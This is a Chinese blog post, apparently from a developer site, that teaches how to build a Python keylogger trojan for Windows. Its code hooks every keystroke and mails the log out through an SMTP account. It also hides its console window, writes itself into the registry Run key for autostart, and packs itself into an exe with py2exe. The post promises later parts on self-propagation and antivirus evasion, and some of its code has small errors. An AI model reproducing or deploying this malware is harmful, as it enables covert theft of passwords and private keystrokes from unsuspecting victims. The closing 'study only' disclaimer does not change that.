python实现键盘记录木马_python之键盘监听木马(SMTP信箱收取监听结果、修改注册表自启动)...

最近接触了python的win32库,库子提供了不少可用于windows开发的API,这里就利用这个为原理制作一个键盘监听木马的雏形。

这里需要使用额外的模块pythonHook(放置钩子时),pythoncom

主要监听功能相关代码:

#放置键盘监听钩子

def seeing():

PH=pyHook.HookManager()

PH.KeyDown=KeyboardEvent

PH.HookKeyboard()

pythoncom.PumpMessages()

#键盘事件

def KeyboardEvent(event):

#print event.Key,

if len(a)<=20:#这里用于实验只但满20字符时发送邮件,可自行加大

a.append(event.Key)

else:

text=''.join(a)

if send_mail(to,"键盘记录test1",text):

print "Suceed!"

else:

print "Failed!"

sys.exit(0)

return True

这段是该程序核心功能的代码,用于监听所有键盘事件,并将其存于list_a 中。

接下来就是利用SMTP协议

发送键盘事件的记录结果:

相关代码如下:

#smtp发邮件

import sys

import re

import urllib

import smtplib

import random

from email.mime.text import MIMEText

#可根据协议或smtp服务器自行更改

to=['******@163.com']

host="smtp.163.com" #smtp服务器

user="****" #用户名

password="******" #密码

postfix="163.com" #后缀

#发送信件函数

def send_mail(to_list,sub,content):

me="键盘记录"+""

msg = MIMEText(content,_subtype='plain',_charset='gb2312')

msg['Subject'] = sub

msg['From'] = me

msg['To'] = ";".join(to_list)

try:

server = smtplib.SMTP()

server.connect(host)

server.login(user,password)

server.sendmail(me, to_list, msg.as_string())

server.close()

return True

except Exception, e:

print str(e)

return False

核心功能部分雏形就完成了,现在对该监听程序进行修饰:

监听进行时,不该有console窗体,应该仅在后台进程进行。下面是关于如何启动时没有console窗体而在后台默默进行。

相关代码:

import ctypes

#隐藏console窗体

def hiding():

whnd = ctypes.windll.kernel32.GetConsoleWindow()

if whnd != 0:

ctypes.windll.user32.ShowWindow(whnd, 0)

ctypes.windll.kernel32.CloseHandle(whnd)

但仅仅以上是不够的,一个完整的木马程序还需要包括自我传播、自启动。

这里需要我们修改windos的注册表信息,winapi这个库中提供了方法:

1.首先需要获得执行程序自身所在位置。

相关代码:

#获得木马所在位置

def path():

import inspect,os

caller_file=inspect.stack()[1][1]

return os.path.abspath(os.path.dirname(caller_file))

2.修改注册表信息:

相关代码:

def autorun():

path_way=path()

key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,

'SOFTWARE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run',0, win32con.KEY_ALL_ACCESS)

win32.RegCreateKey(key,pathon_way)#给注册表自启动项添加木马所在路径

win32.RegCloseKey(key)

return

这样一个监听键盘事件的木马雏形就基本完成了,当然还包括如何自我传播(下一篇会详细提到)。

这里会注意到一个问题,大多数计算机没有安装python解释器,关于python如何在其他windows程序上执行,我使用了py2exe,distutils提供的方法,

新版本的distutuils在py2exe中。

首先创造一个setup.py

相关代码如下:

#setup.py

from distutils.core import setup

import py2exe

setup(console=["hiding.py"])#此处为需要封装的python文件名

然后再console中执行:

python setup.py py2exe

然后就生成了py2exe,这样一个监听键盘信息的木马程序就完成了。

试着运行一下:

明文传输,但短时间在接受几百封邮件后服务器有可能会将邮箱冻结,所以接受键盘事件信息的方式可以改进,比如换一种更加适合的通讯协议。

在后续的文章中会提到如何加壳过各种杀毒软件。

ps:该文章仅用于学习研究,不要轻易越界!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值